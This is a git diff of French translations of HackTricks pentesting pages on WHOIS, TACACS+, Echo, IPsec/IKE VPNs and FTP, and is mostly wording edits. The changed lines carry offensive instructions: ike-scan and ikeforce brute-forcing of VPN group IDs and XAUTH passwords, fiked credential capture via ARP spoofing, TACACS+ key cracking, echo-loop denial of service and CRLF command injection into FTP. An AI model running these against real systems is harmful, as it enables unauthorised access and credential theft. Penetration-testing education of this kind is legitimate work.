* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

View file

@ -6,7 +6,7 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -14,7 +14,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,7 +22,7 @@ Autres façons de soutenir HackTricks :
# Informations de base
Le protocole **WHOIS** sert de méthode standard pour **s'informer sur les titulaires de diverses ressources Internet** via des bases de données spécifiques. Ces ressources comprennent les noms de domaine, les blocs d'adresses IP et les systèmes autonomes, entre autres. En plus de cela, le protocole est utilisé pour accéder à un spectre plus large d'informations.
Le protocole **WHOIS** sert de méthode standard pour **s'informer sur les titulaires de diverses ressources Internet** via des bases de données spécifiques. Ces ressources comprennent les noms de domaine, les blocs d'adresses IP et les systèmes autonomes, entre autres. En plus de cela, le protocole est utilisé pour accéder à un éventail plus large d'informations.
**Port par défaut :** 43
```
@ -48,7 +48,7 @@ De plus, le service WHOIS doit toujours utiliser une **base de données** pour s
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -74,7 +74,7 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
```
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
D'autres façons de soutenir HackTricks :

View file

@ -1,14 +1,14 @@
# 49 - Pentesting TACACS+
# 49 - Test d'intrusion TACACS+
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -33,11 +33,11 @@ PORT STATE SERVICE
## Intercepter la clé d'authentification
Si la communication entre le client et le serveur TACACS est interceptée par un attaquant, **la clé d'authentification chiffrée peut être interceptée**. L'attaquant peut ensuite tenter une **attaque de force brute locale contre la clé sans être détecté dans les journaux**. En cas de succès dans la force brute de la clé, l'attaquant obtient l'accès aux équipements du réseau et peut décrypter le trafic en utilisant des outils comme Wireshark.
Si la communication entre le client et le serveur TACACS est interceptée par un attaquant, **la clé d'authentification chiffrée peut être interceptée**. L'attaquant peut alors tenter une **attaque de force brute locale contre la clé sans être détecté dans les journaux**. En cas de succès dans la force brute de la clé, l'attaquant obtient l'accès aux équipements du réseau et peut décrypter le trafic en utilisant des outils comme Wireshark.
### Réalisation d'une attaque de l'homme du milieu
### Réalisation d'une attaque MitM
Une **attaque de spoofing ARP peut être utilisée pour réaliser une attaque de l'homme du milieu (MitM)**.
Une **attaque de spoofing ARP peut être utilisée pour réaliser une attaque de l'Homme du Milieu (MitM)**.
### Force brute de la clé
@ -58,7 +58,7 @@ En accédant au panneau de contrôle de l'équipement réseau en utilisant les i
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -71,7 +71,7 @@ Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -8,13 +8,13 @@ Autres façons de soutenir HackTricks :
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -23,7 +23,7 @@ Autres façons de soutenir HackTricks :
# Informations de base
Un service d'écho fonctionne sur cet hôte. Le service d'écho était destiné à des fins de test et de mesure et peut écouter à la fois sur les protocoles TCP et UDP. Le serveur renvoie toutes les données qu'il reçoit, sans les modifier.\
**Il est possible de provoquer un déni de service en connectant un service d'écho au service d'écho sur la même machine ou sur une autre**. En raison du nombre excessivement élevé de paquets produits, les machines affectées peuvent être efficacement mis hors service.\
**Il est possible de provoquer un déni de service en connectant un service d'écho au service d'écho sur la même machine ou sur une autre**. En raison du nombre excessivement élevé de paquets produits, les machines affectées peuvent être efficacement mises hors service.\
Informations provenant de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**Port par défaut :** 7/tcp/udp
@ -49,9 +49,9 @@ Hello echo #This is the response
[CA-1996-01 Attaque par déni de service sur le port UDP](http://www.cert.org/advisories/CA-1996-01.html)
**Groupe de sécurité Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -1,8 +1,8 @@
# 500/udp - Test d'intrusion IPsec/IKE VPN
# 500/udp - Test d'intrusion sur les VPN IPsec/IKE
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,11 +26,11 @@ Autres façons de soutenir HackTricks :
**IPsec** est largement reconnu comme la technologie principale pour sécuriser les communications entre les réseaux (LAN à LAN) et des utilisateurs distants à la passerelle réseau (accès distant), servant de base aux solutions VPN d'entreprise.
L'établissement d'une **association de sécurité (SA)** entre deux points est géré par **IKE**, qui opère sous l'égide d'ISAKMP, un protocole conçu pour l'authentification et l'échange de clés. Ce processus se déroule en plusieurs phases :
L'établissement d'une **association de sécurité (SA)** entre deux points est géré par **IKE**, qui fonctionne sous l'égide d'ISAKMP, un protocole conçu pour l'authentification et l'échange de clés. Ce processus se déroule en plusieurs phases :
- **Phase 1 :** Un canal sécurisé est créé entre deux points. Cela est réalisé grâce à l'utilisation d'une clé pré-partagée (PSK) ou de certificats, en utilisant soit le mode principal, qui implique trois paires de messages, soit le **mode agressif**.
- **Phase 1.5 :** Bien que non obligatoire, cette phase, connue sous le nom de Phase d'authentification étendue, vérifie l'identité de l'utilisateur tentant de se connecter en demandant un nom d'utilisateur et un mot de passe.
- **Phase 2 :** Cette phase est dédiée à la négociation des paramètres de sécurisation des données avec **ESP** et **AH**. Elle permet l'utilisation d'algorithmes différents de ceux de la Phase 1 pour garantir la **parfaite confidentialité en avant (PFS)**, renforçant la sécurité.
- **Phase 1 :** Un canal sécurisé est créé entre deux points. Cela est réalisé en utilisant une clé pré-partagée (PSK) ou des certificats, en utilisant soit le mode principal, qui implique trois paires de messages, soit le **mode agressif**.
- **Phase 1.5 :** Bien que non obligatoire, cette phase, appelée phase d'authentification étendue, vérifie l'identité de l'utilisateur tentant de se connecter en demandant un nom d'utilisateur et un mot de passe.
- **Phase 2 :** Cette phase est dédiée à la négociation des paramètres de sécurisation des données avec **ESP** et **AH**. Elle permet l'utilisation d'algorithmes différents de ceux de la Phase 1 pour assurer la **parfaite confidentialité en avant (PFS)**, renforçant la sécurité.
**Port par défaut :** 500/udp
@ -48,7 +48,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
La configuration IPSec peut être préparée pour n'accepter qu'une ou quelques transformations. Une transformation est une combinaison de valeurs. Chaque transform contient un certain nombre d'attributs tels que DES ou 3DES comme algorithme de chiffrement, SHA ou MD5 comme algorithme d'intégrité, une clé pré-partagée comme type d'authentification, Diffie-Hellman 1 ou 2 comme algorithme de distribution de clé et 28800 secondes comme durée de vie.
La première chose à faire est de trouver une transformation valide, afin que le serveur puisse communiquer avec vous. Pour ce faire, vous pouvez utiliser l'outil ike-scan. Par défaut, Ike-scan fonctionne en mode principal et envoie un paquet à la passerelle avec un en-tête ISAKMP et une seule proposition contenant huit transformations à l'intérieur.
La première chose à faire est donc de trouver une transformation valide, afin que le serveur puisse communiquer avec vous. Pour ce faire, vous pouvez utiliser l'outil ike-scan. Par défaut, Ike-scan fonctionne en mode principal et envoie un paquet à la passerelle avec un en-tête ISAKMP et une seule proposition contenant huit transformations à l'intérieur.
En fonction de la réponse, vous pouvez obtenir des informations sur le point de terminaison :
```
@ -64,9 +64,9 @@ Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 retur
Comme vous pouvez le voir dans la réponse précédente, il y a un champ appelé **AUTH** avec la valeur **PSK**. Cela signifie que le VPN est configuré en utilisant une clé prépartagée (et c'est vraiment bon pour un testeur d'intrusion).\
**La valeur de la dernière ligne est également très importante :**
* _0 handshake retourné; 0 notify retourné:_ Cela signifie que la cible n'est **pas une passerelle IPsec**.
* _**1 handshake retourné; 0 notify retourné:**_ Cela signifie que la **cible est configurée pour IPsec et est prête à effectuer une négociation IKE, et qu'une ou plusieurs des transformations que vous avez proposées sont acceptables** (une transformation valide sera affichée dans la sortie).
* _0 handshake retourné; 1 notify retourné:_ Les passerelles VPN répondent avec un message de notification lorsque **aucune des transformations n'est acceptable** (bien que certaines passerelles ne le fassent pas, auquel cas une analyse supplémentaire et une proposition révisée devraient être essayées).
* _0 handshake retourné; 0 notification retournée:_ Cela signifie que la cible n'est **pas une passerelle IPsec**.
* _**1 handshake retourné; 0 notification retournée:**_ Cela signifie que la **cible est configurée pour IPsec et est prête à effectuer une négociation IKE, et qu'une ou plusieurs des transformations que vous avez proposées sont acceptables** (une transformation valide sera affichée dans la sortie).
* _0 handshake retourné; 1 notification retournée:_ Les passerelles VPN répondent avec un message de notification lorsque **aucune des transformations n'est acceptable** (bien que certaines passerelles ne le fassent pas, auquel cas une analyse supplémentaire et une proposition révisée devraient être essayées).
Ensuite, dans ce cas, nous avons déjà une transformation valide, mais si vous êtes dans le 3ème cas, alors vous devez **forcer un peu pour trouver une transformation valide :**
@ -95,9 +95,9 @@ Dans **Groupe DH : 14 = MODP 2048 bits** et **15 = 3072 bits**\
Cisco indique d'éviter d'utiliser les groupes DH 1 et 2 car ils ne sont pas assez forts. Les experts estiment que **les pays disposant de nombreuses ressources peuvent facilement casser le chiffrement** des données utilisant ces groupes faibles. Cela se fait en utilisant une méthode spéciale qui les prépare à casser rapidement les codes. Bien que cela coûte cher pour mettre en place cette méthode, cela permet à ces pays puissants de lire les données chiffrées en temps réel si elles utilisent un groupe qui n'est pas fort (comme 1 024 bits ou moins).
### Identification du serveur
### Fingerprinting du serveur
Ensuite, vous pouvez utiliser ike-scan pour essayer de **découvrir le fournisseur** du dispositif. L'outil envoie une proposition initiale et arrête de rejouer. Ensuite, il **analyse** la **différence de temps** entre les **messages** reçus du serveur et le modèle de réponse correspondant, le testeur d'intrusion peut identifier avec succès le fournisseur de passerelle VPN. De plus, certains serveurs VPN utiliseront la charge utile **ID de fournisseur (VID)** avec IKE.
Ensuite, vous pouvez utiliser ike-scan pour essayer de **découvrir le fournisseur** du dispositif. L'outil envoie une proposition initiale et arrête de rejouer. Ensuite, il **analysera** la **différence de temps** entre les **messages** reçus du serveur et le modèle de réponse correspondant, le testeur d'intrusion peut identifier avec succès le fournisseur de passerelle VPN. De plus, certains serveurs VPN utiliseront la charge utile **ID de fournisseur (VID)** avec IKE.
**Spécifiez la transformation valide si nécessaire** (en utilisant --trans)
@ -126,11 +126,11 @@ Cela peut également être réalisé avec le script nmap _**ike-version**_
## Trouver le bon ID (nom de groupe)
Pour être autorisé à capturer le hash, vous avez besoin d'une transformation valide prenant en charge le mode Aggressif et le bon ID (nom de groupe). Vous ne connaîtrez probablement pas le nom de groupe valide, vous devrez donc le brute-force.\
Pour ce faire, je vous recommanderais 2 méthodes:
Pour ce faire, je vous recommande 2 méthodes :
### Brute-force de l'ID avec ike-scan
### Brute-forcer l'ID avec ike-scan
Tout d'abord, essayez de faire une demande avec un faux ID pour essayer de récupérer le hash ("-P"):
Tout d'abord, essayez de faire une demande avec un faux ID pour essayer de rassembler le hash ("-P") :
```bash
ike-scan -P -M -A -n fakeID <IP>
```
@ -148,23 +148,23 @@ Vous pouvez utiliser le [dictionnaire d'ikeforce](https://github.com/SpiderLabs/
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
### Bruteforcer l'ID avec Iker
### Bruteforcing ID with Iker
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) utilise également **ike-scan** pour effectuer une attaque par force brute sur les noms de groupe possibles. Il suit sa propre méthode pour **trouver un ID valide basé sur la sortie de ike-scan**.
### Bruteforcer l'ID avec ikeforce
### Bruteforcing ID with ikeforce
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) est un outil qui peut être utilisé pour **forcer de manière brute les IDs également**. Cet outil **essaiera d'exploiter différentes vulnérabilités** qui pourraient être utilisées pour **différencier un ID valide d'un ID non valide** (il peut y avoir des faux positifs et des faux négatifs, c'est pourquoi je préfère utiliser la méthode ike-scan si possible).
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) est un outil qui peut être utilisé pour **forcer de manière brute les IDs également**. Cet outil **essaiera d'exploiter différentes vulnérabilités** qui pourraient être utilisées pour **différencier un ID valide d'un ID non valide** (pouvant présenter des faux positifs et des faux négatifs, c'est pourquoi je préfère utiliser la méthode ike-scan si possible).
Par défaut, **ikeforce** enverra au début quelques IDs aléatoires pour vérifier le comportement du serveur et déterminer la tactique à utiliser.
* La **première méthode** consiste à forcer de manière brute les noms de groupe en **recherchant** les informations **Dead Peer Detection DPD** des systèmes Cisco (ces informations ne sont renvoyées que par le serveur si le nom de groupe est correct).
* La **deuxième méthode** disponible consiste à **vérifier le nombre de réponses envoyées à chaque tentative** car parfois plus de paquets sont envoyés lorsque le bon ID est utilisé.
* La **première méthode** consiste à effectuer une attaque par force brute sur les noms de groupe en **recherchant** les informations **Dead Peer Detection DPD** des systèmes Cisco (ces informations ne sont renvoyées que par le serveur si le nom du groupe est correct).
* La **deuxième méthode** disponible est de **vérifier le nombre de réponses envoyées à chaque tentative** car parfois plus de paquets sont envoyés lorsque le bon ID est utilisé.
* La **troisième méthode** consiste à **rechercher "INVALID-ID-INFORMATION" en réponse à un ID incorrect**.
* Enfin, si le serveur ne renvoie rien aux vérifications, **ikeforce** tentera de forcer de manière brute le serveur et vérifiera si lorsque le bon ID est envoyé, le serveur renvoie un paquet.\
Évidemment, l'objectif de la force brute de l'ID est d'obtenir la **PSK** lorsque vous avez un ID valide. Ensuite, avec l'**ID** et la **PSK**, vous devrez forcer de manière brute le XAUTH (s'il est activé).
Évidemment, l'objectif de la force brute sur l'ID est d'obtenir la **PSK** lorsque vous avez un ID valide. Ensuite, avec l'**ID** et la **PSK**, vous devrez effectuer une attaque par force brute sur le XAUTH (si celui-ci est activé).
Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ikeforce. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour les essayer toutes (vous devriez les essayer toutes jusqu'à ce que l'une d'entre elles fonctionne correctement).
Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ikeforce. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour les essayer toutes (vous devriez les essayer toutes jusqu'à ce que l'une d'elles fonctionne correctement).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -200,7 +200,7 @@ En passant à **IKEv2**, on observe un changement notable où **EAP (Protocole d
### Man-in-the-Middle (MitM) du réseau local pour capturer les identifiants
Ainsi, vous pouvez capturer les données de connexion en utilisant _fiked_ et voir s'il y a un nom d'utilisateur par défaut (Vous devez rediriger le trafic IKE vers `fiked` pour l'écoute, ce qui peut être fait à l'aide de l'usurpation ARP, [plus d'informations](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked agira en tant que point de terminaison VPN et capturera les identifiants XAuth:
Ainsi, vous pouvez capturer les données de connexion en utilisant _fiked_ et voir s'il y a un nom d'utilisateur par défaut (Vous devez rediriger le trafic IKE vers `fiked` pour l'écoute, ce qui peut être fait à l'aide de l'usurpation ARP, [plus d'informations](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked agira comme un point de terminaison VPN et capturera les identifiants XAuth:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
@ -208,9 +208,9 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Également, en utilisant IPSec, essayez de réaliser une attaque de l'homme du milieu (MitM) et de bloquer tout le trafic vers le port 500. Si le tunnel IPSec ne peut pas être établi, il est possible que le trafic soit envoyé en clair.
### Force brute du nom d'utilisateur et du mot de passe XAUTH avec ikeforce
### Force brute des noms d'utilisateur et des mots de passe XAUTH avec ikeforce
Pour effectuer une attaque par force brute sur le **XAUTH** (lorsque vous connaissez un nom de groupe valide **id** et la **psk**), vous pouvez utiliser un nom d'utilisateur ou une liste de noms d'utilisateurs et une liste de mots de passe :
Pour effectuer une force brute sur le **XAUTH** (lorsque vous connaissez un nom de groupe valide **id** et la **psk**), vous pouvez utiliser un nom d'utilisateur ou une liste de noms d'utilisateurs et une liste de mots de passe :
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
@ -248,7 +248,7 @@ Assurez-vous d'utiliser des valeurs réelles et sécurisées pour remplacer les
## Matériel de référence
* [Article sur le craquage de PSK](http://www.ernw.de/download/pskattack.pdf)
* [Document de craquage PSK](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Analyse d'une implémentation VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Évaluation de la sécurité du réseau, 3e édition
@ -259,7 +259,7 @@ Assurez-vous d'utiliser des valeurs réelles et sécurisées pour remplacer les
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -272,7 +272,7 @@ Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -4,7 +4,7 @@
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,7 +14,7 @@
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -42,7 +42,7 @@ Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-att
### Débogage de la connexion
Les commandes **`debug`** et **`trace`** de **FTP** peuvent être utilisées pour voir **comment se déroule la communication**.
Les commandes **`debug`** et **`trace`** **FTP** peuvent être utilisées pour voir **comment se déroule la communication**.
## Énumération
@ -133,9 +133,9 @@ Vous pouvez vous connecter à un serveur FTP en utilisant un navigateur (comme F
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Notez que si une **application web** envoie des données contrôlées par un utilisateur **directement à un serveur FTP**, vous pouvez envoyer des octets doublement encodés en URL `%0d%0a` (dans un double encodage d'URL, c'est `%250d%250a`) et faire en sorte que le **serveur FTP exécute des actions arbitraires**. L'une de ces actions arbitraires possibles est de télécharger du contenu à partir d'un serveur contrôlé par un utilisateur, d'effectuer un balayage de ports ou d'essayer de communiquer avec d'autres services basés sur du texte en clair (comme http).
Notez que si une **application web** envoie des données contrôlées par un utilisateur **directement à un serveur FTP**, vous pouvez envoyer des octets doublement encodés en URL `%0d%0a` (dans un double encodage en URL, ceci est `%250d%250a`) et faire en sorte que le **serveur FTP effectue des actions arbitraires**. L'une de ces actions arbitraires possibles est de télécharger du contenu à partir d'un serveur contrôlé par un utilisateur, d'effectuer un balayage de ports ou d'essayer de communiquer avec d'autres services basés sur du texte en clair (comme http).
## Télécharger tous les fichiers du FTP
## Télécharger tous les fichiers depuis FTP
```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
@ -149,13 +149,13 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
* **`USER nom_utilisateur`**
* **`PASS mot_de_passe`**
* **`HELP`** Le serveur indique quelles commandes sont supportées
